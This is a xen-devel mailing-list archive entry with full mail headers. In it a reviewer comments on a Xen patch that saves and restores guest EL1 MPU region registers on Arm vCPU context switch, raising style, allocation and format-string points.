X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <4fd49172-40fb-427d-b806-d96dc5afcc55@amd.com>
Date: Fri, 10 Jul 2026 17:00:42 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 7/8] arm/mpu: Save/restore guest EL1 MPU-related context
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-8-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-8-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000EE3D:EE_|CY5PR12MB6648:EE_
X-MS-Office365-Filtering-Correlation-Id: 5b105305-8f97-471e-d1c2-08dede9c6a3f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|82310400026|36860700016|23010399003|11063799006|6133799003|3023799007|22082099003|18002099003|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	Xh7FdrcBLuNgToc9C1kXy7Xc3GEe8l/kSGC9TMI4tBHN9YpbHRBQJKGHctuNfXSyVafGKb0ihumb54P5mz5FrqU8hABcLOk9HMSCZ7JmzbrS9xeL5+WZvNvkB49gUfIwQjXEvMBEnsyl/CqhMPQjNvRFUY1UsgHbI3dtXv63WCxOEqbCWX08HAvR/DNpFa/cjbTqPGLUTY1g46Rwh9JFn73A04PeyiMwnPrcrmQah1iLIlx3M7yRy2o6cRZdwU5qaMnl3yXTB27X4FCDNlOv/Wu1NoFng2YF1ixUo7JWm+yoPSvF4ntwQDfCprGYQlLkSigK1aLir+ytVYQTQRbJqiAcLn0eetB9Z8D/YrpFHQMh3N1dFLx7nC4EfwX1hSDXX8/KNT/YL/Etc0qt+RdNZ+NnOa7JE6K74HnNk8rbns3f0YI0Yku4fTesJm12UxGNp8GB7mLK9HPxtdgOc4+jesOP0LoSHV9Eqq1HOLypjxgt3IC5ueL69BTTYMfaKQJgr8ELvQQNiIXod5+F7t4vvzymoLJXNMuXJLDnuoy8UmbdLfTpvZf+/ccggLMSmVOHC9hKkTL+alIOWfzdwplf8ZgrUDIbj8Fko7vu3NMmK5VXskj3ohr1trRDwbaJkbEPEydsK8Xua6oThPkrczg6Nev/lD4oENq154DPRx9nOWzE+e2S3ubQtTu2JG6PZsnFhXKbr4sw48vXAw2zGGcPvg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(1800799024)(82310400026)(36860700016)(23010399003)(11063799006)(6133799003)(3023799007)(22082099003)(18002099003)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	YYA+Wigooy7EQ8UjUII8/nZu6zmxXxU0d45isb1GqrgrC+OzJ/rYvV1DmpqxWjYfUdP2nSnEd3NFwlKZSJXo7MQZsh+JVCMorozTRw/JiH5TUZBP4K720MYf5d6UHTM5KF5TVnXPpOJcT9Ik3nelBNeIyKhVpTHwBMl5bJTZRS5DwPKUCkxCeQbkXWEy3SesZVClK9/kUVkfa0sVICIL+bcogq2K4uqwEvKol1diYQC4Rsy0kPiLDL7e1QyI9h+Sg/noVi/m1rcfuViQ1QWfIa/RTuNu3jQYw8bgfWT4qmWbnOuMOycqbZCAh3E6U491VTxBqq3i5XdBWACgBq4vZ4iwbGI+nUNYi2nc8FqRthFiH/wL3g+mvzmaZRkIKBTpfcsGC3fTzKVwY6MsrmW9We/5iUw0QGKeRQ548ma9o9J+pzcoUm9gU0mFWd/Xl7WS
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 16:00:50.8133
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 5b105305-8f97-471e-d1c2-08dede9c6a3f
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000EE3D.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY5PR12MB6648
X-purgate-ID: tlsNG-ebf023/1783699257-7E450FE7-9616D168/0/0
X-purgate-type: clean
X-purgate-size: 20183

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> Implement save/restore of guest MPU-related context, as all MPU memory
> regions must be saved/restored on vCPU context switch when domain is
> using PMSAv8-64 translation regime.
>
> Introduce is_mpu_domain() helper function that is always false on MMU
> and it checks if PMSA is selected at EL1 for MPU domains.
>
> Split the save/restore functions into MPU arm64 and arm32, the latter
> is currently not implemented, the former is fully implemented and
> uses the PR{B,L}AR<n>_EL1 register access in order to issue the
> minimum amount of ISB as possible while changing the selector and
> writing/reading the registers.
>
> struct arch_vcpu now includes a pointer to the allocated storage for
> the additional MPU regions to be saved on context switch.
>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> ---
>   xen/arch/arm/arm64/mpu/p2m.c          |   2 +
>   xen/arch/arm/domain.c                 |  49 +++++++---
>   xen/arch/arm/include/asm/domain.h     |   5 +
>   xen/arch/arm/include/asm/mm.h         |   3 +
>   xen/arch/arm/include/asm/mmu/mm.h     |  12 +++
>   xen/arch/arm/include/asm/mpu.h        |   3 +
>   xen/arch/arm/include/asm/mpu/cpregs.h |   3 +
>   xen/arch/arm/include/asm/mpu/mm.h     |  10 ++
>   xen/arch/arm/mpu/arm32/mm.c           |  10 ++
>   xen/arch/arm/mpu/arm64/mm.c           | 136 ++++++++++++++++++++++++++
>   xen/arch/arm/mpu/mm.c                 |  39 ++++++++
>   11 files changed, 260 insertions(+), 12 deletions(-)
>
> diff --git a/xen/arch/arm/arm64/mpu/p2m.c b/xen/arch/arm/arm64/mpu/p2m.c
> index a39a1fc38946..a1ec9fcd6195 100644
> --- a/xen/arch/arm/arm64/mpu/p2m.c
> +++ b/xen/arch/arm/arm64/mpu/p2m.c
> @@ -62,6 +62,8 @@ void __init setup_virt_paging(void)
>   
>       p2m_vmid_allocator_init();
>   
> +    load_nr_mpu_regions_el1();
> +
>       /*
>        * VSTCR_EL2.SA defines secure stage 2 translation output address space.
>        * To make sure that all stage 2 translations for the Secure PA space access
> diff --git a/xen/arch/arm/domain.c b/xen/arch/arm/domain.c
> index dfa7ace1141b..221b1f8a7f9d 100644
> --- a/xen/arch/arm/domain.c
> +++ b/xen/arch/arm/domain.c
> @@ -123,11 +123,23 @@ static void ctxt_switch_from(struct vcpu *p)
>   
>       isb();
>   
> -    /* MMU */
> +    /* MMU/MPU */
> +    if ( is_mpu_domain(p->domain) )
> +    {
> +        /*
> +         * Domain is using PMSAv8-64 translation regime at EL1, so we need to
> +         * save EL1 MPU memory regions.
> +         */
> +        save_el1_mpu_regions(p);
> +    }
> +    else
> +    {
> +        /* Domain is using VMSAv8-64 translation regime via MMU. */
> +        p->arch.ttbcr = READ_SYSREG(TCR_EL1);
> +        p->arch.ttbr0 = READ_SYSREG64(TTBR0_EL1);
> +        p->arch.ttbr1 = READ_SYSREG64(TTBR1_EL1);
> +    }
>       p->arch.vbar = READ_SYSREG(VBAR_EL1);
> -    p->arch.ttbcr = READ_SYSREG(TCR_EL1);
> -    p->arch.ttbr0 = READ_SYSREG64(TTBR0_EL1);
> -    p->arch.ttbr1 = READ_SYSREG64(TTBR1_EL1);
>       if ( is_32bit_domain(p->domain) )
>           p->arch.dacr = READ_SYSREG(DACR32_EL2);
>       p->arch.par = read_sysreg_par();
> @@ -156,8 +168,6 @@ static void ctxt_switch_from(struct vcpu *p)
>       p->arch.afsr0 = READ_SYSREG(AFSR0_EL1);
>       p->arch.afsr1 = READ_SYSREG(AFSR1_EL1);
>   
> -    /* XXX MPU */
> -
>       /* VGIC */
>       gic_save_state(p);
>   
> @@ -181,8 +191,6 @@ static void ctxt_switch_to(struct vcpu *n)
>       /* VGIC */
>       gic_restore_state(n);
>   
> -    /* XXX MPU */
> -
>       /* Fault Status */
>   #if defined(CONFIG_ARM_32)
>       WRITE_CP32(n->arch.dfar, DFAR);
> @@ -198,11 +206,23 @@ static void ctxt_switch_to(struct vcpu *n)
>       WRITE_SYSREG(n->arch.afsr0, AFSR0_EL1);
>       WRITE_SYSREG(n->arch.afsr1, AFSR1_EL1);
>   
> -    /* MMU */
> +    /* MMU/MPU */
> +    if ( is_mpu_domain(n->domain) )
> +    {
> +        /*
> +         * Domain is using PMSAv8-64 translation regime at EL1, so we need to
> +         * restore EL1 MPU memory regions.
> +         */
> +        restore_el1_mpu_regions(n);
> +    }
> +    else
> +    {
> +        /* Domain is using VMSAv8-64 translation regime via MMU. */
> +        WRITE_SYSREG(n->arch.ttbcr, TCR_EL1);
> +        WRITE_SYSREG64(n->arch.ttbr0, TTBR0_EL1);
> +        WRITE_SYSREG64(n->arch.ttbr1, TTBR1_EL1);
> +    }
>       WRITE_SYSREG(n->arch.vbar, VBAR_EL1);
> -    WRITE_SYSREG(n->arch.ttbcr, TCR_EL1);
> -    WRITE_SYSREG64(n->arch.ttbr0, TTBR0_EL1);
> -    WRITE_SYSREG64(n->arch.ttbr1, TTBR1_EL1);
>   
>       /*
>        * Erratum #852523 (Cortex-A57) or erratum #853709 (Cortex-A72):
> @@ -518,6 +538,9 @@ int arch_vcpu_create(struct vcpu *v)
>       if ( get_ssbd_state() == ARM_SSBD_RUNTIME )
>           v->arch.cpu_info->flags |= CPUINFO_WORKAROUND_2_FLAG;
>   
> +    if ( is_mpu_domain(v->domain) )
> +        allocate_el1_mpu_regions(v);
> +
>       return rc;
>   
>   fail:
> @@ -532,6 +555,8 @@ void arch_vcpu_destroy(struct vcpu *v)
>       vcpu_timer_destroy(v);
>       vcpu_vgic_free(v);
>       free_xenheap_pages(v->arch.stack, STACK_ORDER);
> +    if ( is_mpu_domain(v->domain) )
> +        free_el1_mpu_regions(v);
>   }
>   
>   void vcpu_switch_to_aarch64_mode(struct vcpu *v)
> diff --git a/xen/arch/arm/include/asm/domain.h b/xen/arch/arm/include/asm/domain.h
> index 4a3fb825962b..44c304ef8aa9 100644
> --- a/xen/arch/arm/include/asm/domain.h
> +++ b/xen/arch/arm/include/asm/domain.h
> @@ -202,6 +202,11 @@ struct arch_vcpu
>       register_t actlr;
>       uint32_t cpacr;
>   
> +#ifdef CONFIG_MPU
> +    /* EL1 MPU memory regions */
> +    pr_t *mpu_regions;
> +#endif
> +
>       uint32_t contextidr;
>       register_t tpidr_el0;
>       register_t tpidr_el1;
> diff --git a/xen/arch/arm/include/asm/mm.h b/xen/arch/arm/include/asm/mm.h
> index 72a692862420..9e35800aba5e 100644
> --- a/xen/arch/arm/include/asm/mm.h
> +++ b/xen/arch/arm/include/asm/mm.h
> @@ -202,6 +202,9 @@ extern void setup_frametable_mappings(paddr_t ps, paddr_t pe);
>   void setup_mm_helper(void);
>   /* map a physical range in virtual memory */
>   void __iomem *ioremap_attr(paddr_t start, size_t len, unsigned int attributes);
> +/* Allocate space for EL1 MPU region info */
> +void allocate_el1_mpu_regions(struct vcpu *v);
> +void free_el1_mpu_regions(struct vcpu *v);
>   
>   static inline void __iomem *ioremap_nocache(paddr_t start, size_t len)
>   {
> diff --git a/xen/arch/arm/include/asm/mmu/mm.h b/xen/arch/arm/include/asm/mmu/mm.h
> index 7f4d59137d0d..c441af50c3a9 100644
> --- a/xen/arch/arm/include/asm/mmu/mm.h
> +++ b/xen/arch/arm/include/asm/mmu/mm.h
> @@ -9,6 +9,8 @@
>   #include <asm/mmu/layout.h>
>   #include <asm/page.h>
>   
> +struct domain;
> +
>   /* Non-boot CPUs use this to find the correct pagetables. */
>   extern uint64_t init_ttbr;
>   
> @@ -91,6 +93,16 @@ static inline struct page_info *virt_to_page(const void *v)
>       return frame_table + pdx - frametable_base_pdx;
>   }
>   
> +/* If this domain should use PMSAv8-64 translation regime (MPU) at EL1. */
> +static inline bool is_mpu_domain(struct domain *d)
> +{
> +    return false;
> +}
> +
> +/* Stub for MPU EL1 region save/restore */
> +static inline void save_el1_mpu_regions(struct vcpu *p) { }
> +static inline void restore_el1_mpu_regions(struct vcpu *n) { }
> +
>   /*
>    * Print a walk of a page table or p2m
>    *
> diff --git a/xen/arch/arm/include/asm/mpu.h b/xen/arch/arm/include/asm/mpu.h
> index 8a8c01086206..525944987713 100644
> --- a/xen/arch/arm/include/asm/mpu.h
> +++ b/xen/arch/arm/include/asm/mpu.h
> @@ -27,6 +27,9 @@
>   
>   #ifndef __ASSEMBLER__
>   
> +/* Load the number of regions supported by the EL1 MPU from MPUIR_EL1. */
> +void load_nr_mpu_regions_el1(void);
> +
>   /*
>    * Utility function to determine if an Armv8-R processor supports VMSA.
>    */
> diff --git a/xen/arch/arm/include/asm/mpu/cpregs.h b/xen/arch/arm/include/asm/mpu/cpregs.h
> index 5a3d92cf5389..f6fb3c93c032 100644
> --- a/xen/arch/arm/include/asm/mpu/cpregs.h
> +++ b/xen/arch/arm/include/asm/mpu/cpregs.h
> @@ -5,6 +5,7 @@
>   
>   /* CP15 CR0: MPU Type Register */
>   #define HMPUIR          p15,4,c0,c0,4
> +#define MPUIR           p15,0,c0,c0,4
>   
>   /* CP15 CR2: Virtualization System Control register */
>   #define VSCTLR          p15,4,c2,c0,1
> @@ -16,6 +17,7 @@
>   #define HPRSELR         p15,4,c6,c2,1
>   #define HPRBAR          p15,4,c6,c3,0
>   #define HPRLAR          p15,4,c6,c3,1
> +#define PRSELR          p15,0,c6,c2,1
>   
>   /* CP15 CR6: MPU Protection Region Base/Limit Address Register */
>   #define HPRBAR0         p15,4,c6,c8,0
> @@ -86,6 +88,7 @@
>   /* Aliases of AArch64 names for use in common code */
>   #ifdef CONFIG_ARM_32
>   /* Alphabetically... */
> +#define MPUIR_EL1       MPUIR
>   #define MPUIR_EL2       HMPUIR
>   #define PRBAR_EL2       HPRBAR
>   #define PRENR_EL2       HPRENR
> diff --git a/xen/arch/arm/include/asm/mpu/mm.h b/xen/arch/arm/include/asm/mpu/mm.h
> index 24bffdee4fb6..a536ec4431df 100644
> --- a/xen/arch/arm/include/asm/mpu/mm.h
> +++ b/xen/arch/arm/include/asm/mpu/mm.h
> @@ -20,6 +20,7 @@
>   extern struct page_info *frame_table;
>   
>   extern uint8_t max_mpu_regions;
> +extern uint8_t max_mpu_regions_el1;
>   
>   extern DECLARE_BITMAP(xen_mpumap_mask, MAX_MPU_REGION_NR);
>   
> @@ -55,6 +56,15 @@ static inline void context_sync_mpu(void)
>       isb();
>   }
>   
> +/* If this domain should use PMSAv8-64 translation regime (MPU) at EL1. */
> +bool is_mpu_domain(struct domain *d);
> +
> +/* Save EL1 MPU base and limit registers. */
> +void save_el1_mpu_regions(struct vcpu *p);
> +
> +/* Restore EL1 MPU base and limit registers. */
> +void restore_el1_mpu_regions(struct vcpu *n);
> +
>   /*
>    * The following API requires context_sync_mpu() after being used to modify MPU
>    * regions:
> diff --git a/xen/arch/arm/mpu/arm32/mm.c b/xen/arch/arm/mpu/arm32/mm.c
> index 5eaeb3400e6c..3dd71228b4ed 100644
> --- a/xen/arch/arm/mpu/arm32/mm.c
> +++ b/xen/arch/arm/mpu/arm32/mm.c
> @@ -159,6 +159,16 @@ void write_protection_region(const pr_t *pr_write, uint8_t sel)
>       }
>   }
>   
> +void save_el1_mpu_regions(struct vcpu *p)
> +{
> +    BUG_ON("unimplemented");
> +}
> +
> +void restore_el1_mpu_regions(struct vcpu *n)
> +{
> +    BUG_ON("unimplemented");
> +}
> +
>   /*
>    * Local variables:
>    * mode: C
> diff --git a/xen/arch/arm/mpu/arm64/mm.c b/xen/arch/arm/mpu/arm64/mm.c
> index b07e729a7d05..ce9947851173 100644
> --- a/xen/arch/arm/mpu/arm64/mm.c
> +++ b/xen/arch/arm/mpu/arm64/mm.c
> @@ -1,8 +1,10 @@
>   /* SPDX-License-Identifier: GPL-2.0-only */
>   
>   #include <xen/bug.h>
> +#include <xen/sched.h>
>   #include <xen/types.h>
>   #include <asm/mpu.h>
> +#include <asm/mpu/mm.h>
>   #include <asm/sysregs.h>
>   #include <asm/system.h>
>   
> @@ -10,9 +12,13 @@
>    * The following are needed for the cases: GENERATE_WRITE_PR_REG_CASE
>    * and GENERATE_READ_PR_REG_CASE with num==0
>    */
> +#define PRBAR0_EL1 PRBAR_EL1
> +#define PRLAR0_EL1 PRLAR_EL1
>   #define PRBAR0_EL2 PRBAR_EL2
>   #define PRLAR0_EL2 PRLAR_EL2
>   
> +#define PRBAR_EL1_(n)   PRBAR##n##_EL1
> +#define PRLAR_EL1_(n)   PRLAR##n##_EL1
>   #define PRBAR_EL2_(n)   PRBAR##n##_EL2
>   #define PRLAR_EL2_(n)   PRLAR##n##_EL2
>   
> @@ -32,6 +38,22 @@
>           break;                                                  \
>       }
>   
> +#define GENERATE_SAVE_EL1_PR_REG_CASE(num, pr, sel)             \
> +    case num:                                                   \
> +    {                                                           \
> +        pr->prbar.bits = READ_SYSREG(PRBAR_EL1_(num));          \
> +        pr->prlar.bits = READ_SYSREG(PRLAR_EL1_(num));          \
> +        sel--;                                                  \
> +    }
> +
> +#define GENERATE_RESTORE_EL1_PR_REG_CASE(num, pr, sel)                      \
> +    case num:                                                               \
> +    {                                                                       \
> +        WRITE_SYSREG(pr->prbar.bits & ~MPU_REGION_RES0, PRBAR_EL1_(num));   \
> +        WRITE_SYSREG(pr->prlar.bits & ~MPU_REGION_RES0, PRLAR_EL1_(num));   \
> +        sel--;                                                              \
> +    }
> +
>   bool has_v8r_vmsa_support(void)
>   {
>       return system_cpuinfo.mm64.msa_frac == MM64_MSA_FRAC_VMSA_SUPPORT;
> @@ -125,6 +147,120 @@ void write_protection_region(const pr_t *pr_write, uint8_t sel)
>       }
>   }
>   
> +void save_el1_mpu_regions(struct vcpu *p)
> +{
> +    int sel = max_mpu_regions_el1 - 1;
> +    pr_t *table;
> +
> +    if ( max_mpu_regions_el1 == 0 )
> +        return;
> +
> +    if ( p->arch.mpu_regions == NULL )
> +        return;
> +    table = p->arch.mpu_regions;
> +
> +    while ( sel >= 0 )
> +    {
> +        WRITE_SYSREG( (sel & 0xF0), PRSELR_EL1);
> +        isb();
> +        switch ( sel & 0xF ) {
Stray space after the opening paren in WRITE_SYSREG, and the switch brace
should be on its own line. The case-label indentation in the ladder below is
also uneven (default is indented deeper than the generated cases).

> +            GENERATE_SAVE_EL1_PR_REG_CASE(15, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(14, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(13, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(12, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(11, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(10, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(9, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(8, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(7, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(6, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(5, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(4, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(3, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(2, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(1, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_SAVE_EL1_PR_REG_CASE(0, (&table[sel]), sel);
> +            break;
> +            default:
> +                BUG(); /* Can't happen */
> +                break;
> +        }
> +    }
> +}
> +
> +void restore_el1_mpu_regions(struct vcpu *n)
> +{
> +    int sel = max_mpu_regions_el1 - 1;
> +    pr_t *table;
> +
> +    if ( max_mpu_regions_el1 == 0 )
> +        return;
> +
> +    if ( !n->arch.mpu_regions )
> +        return;
> +    table = n->arch.mpu_regions;
> +
> +    while ( sel >= 0 )
> +    {
> +        WRITE_SYSREG( (sel & 0xF0), PRSELR_EL1);
> +        isb();
> +        switch ( sel & 0xF ) {
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(15, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(14, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(13, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(12, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(11, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(10, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(9, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(8, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(7, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(6, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(5, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(4, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(3, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(2, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(1, (&table[sel]), sel);
> +            fallthrough;
> +            GENERATE_RESTORE_EL1_PR_REG_CASE(0, (&table[sel]), sel);
> +            break;
> +            default:
> +                BUG(); /* Can't happen */
> +                break;
> +        }
> +    }
> +
> +    context_sync_mpu();
> +}
> +
>   /*
>    * Local variables:
>    * mode: C
> diff --git a/xen/arch/arm/mpu/mm.c b/xen/arch/arm/mpu/mm.c
> index 459fb952d125..d6703bf0c005 100644
> --- a/xen/arch/arm/mpu/mm.c
> +++ b/xen/arch/arm/mpu/mm.c
> @@ -7,6 +7,7 @@
>   #include <xen/mm.h>
>   #include <xen/pfn.h>
>   #include <xen/sizes.h>
> +#include <xen/sched.h>
>   #include <xen/spinlock.h>
>   #include <xen/types.h>
>   #include <asm/mpu.h>
> @@ -14,6 +15,7 @@
>   #include <asm/page.h>
>   #include <asm/setup.h>
>   #include <asm/sysregs.h>
> +#include <public/arch-arm.h>
>   
>   #define MPU_ATTR_XN_RO_MISMATCH     -1
>   #define MPU_ATTR_AI_MISMATCH        -2
> @@ -23,6 +25,9 @@ struct page_info *frame_table;
>   /* Maximum number of supported MPU memory regions by the EL2 MPU. */
>   uint8_t __ro_after_init max_mpu_regions;
>   
> +/* Maximum number of supported MPU memory regions by the EL1 MPU. */
> +uint8_t __read_mostly max_mpu_regions_el1;
> +
>   /*
>    * Bitmap xen_mpumap_mask is to record the usage of EL2 MPU memory regions.
>    * Bit 0 represents MPU memory region 0, bit 1 represents MPU memory
> @@ -631,6 +636,40 @@ void __iomem *ioremap_attr(paddr_t start, size_t len, unsigned int flags)
>       return maddr_to_virt(start);
>   }
>   
> +bool is_mpu_domain(struct domain *d)
const struct domain *
> +{
> +    return (d->arch.v8r_el1_msa == XEN_DOMCTL_CONFIG_ARM_V8R_EL1_MSA_NONE) ||
> +           (d->arch.v8r_el1_msa == XEN_DOMCTL_CONFIG_ARM_V8R_EL1_MSA_PMSA);
> +}
> +
> +void load_nr_mpu_regions_el1(void)
> +{
> +    max_mpu_regions_el1 = (uint8_t)(READ_SYSREG(MPUIR_EL1) &
> +                                    NUM_MPU_REGIONS_MASK);
> +}
> +
> +void allocate_el1_mpu_regions(struct vcpu *v)
> +{
> +    if ( max_mpu_regions_el1 == 0 )
> +        return;
> +
> +    if ( v->arch.mpu_regions )
> +        return;
> +
> +    v->arch.mpu_regions = (pr_t *)_xzalloc(sizeof(pr_t) * max_mpu_regions_el1,
> +                                           SMP_CACHE_BYTES);
> +    if ( !v->arch.mpu_regions )
> +        panic("DOM%pd: mpu: no memory to store EL1 MPU memory region info\n",
> +              v->domain);
> +    memset(v->arch.mpu_regions, 0, sizeof(pr_t) * max_mpu_regions_el1);
_xzalloc already zeroes the allocation, so the memset is redundant. The

(pr_t *) cast on the void * return is also unnecessary.

The panic format is
"DOM%pd" but %pd already expands to "dX"/"dom0" - drop the DOM prefix.

> +}
> +
> +void free_el1_mpu_regions(struct vcpu *v)
> +{
> +    if ( v->arch.mpu_regions )
> +        xfree(v->arch.mpu_regions);
> +}
> +
>   /*
>    * Local variables:
>    * mode: C
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:08:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:08:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359614.1613111 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDmK-0002uL-Vn; Fri, 10 Jul 2026 16:08:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359614.1613111; Fri, 10 Jul 2026 16:08:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDmK-0002uE-SN; Fri, 10 Jul 2026 16:08:40 +0000
Received: by outflank-mailman (input) for mailman id 1359614;
 Fri, 10 Jul 2026 16:08:38 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiDmI-0002u3-GS
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:08:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDmH-006o7b-CT
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:08:37 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5118f3-5cb7-0a2a0a5109dd-0a2a450ac5b2-40
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:08:37 +0200
Received: from [52.101.201.50]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a511903-ec7d-0a2a450a0019-3465c9325462-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:08:36 +0200
Received: from DS7P220CA0079.NAMP220.PROD.OUTLOOK.COM (2603:10b6:8:259::11) by
 SA3PR12MB8048.namprd12.prod.outlook.com (2603:10b6:806:31e::6) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.10; Fri, 10 Jul 2026 16:08:26 +0000
Received: from CY4PEPF0000E9D6.namprd05.prod.outlook.com
 (2603:10b6:8:259:cafe::29) by DS7P220CA0079.outlook.office365.com
 (2603:10b6:8:259::11) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.14 via Frontend Transport; Fri,
 10 Jul 2026 16:08:26 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000E9D6.mail.protection.outlook.com (10.167.241.69) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 16:08:25 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
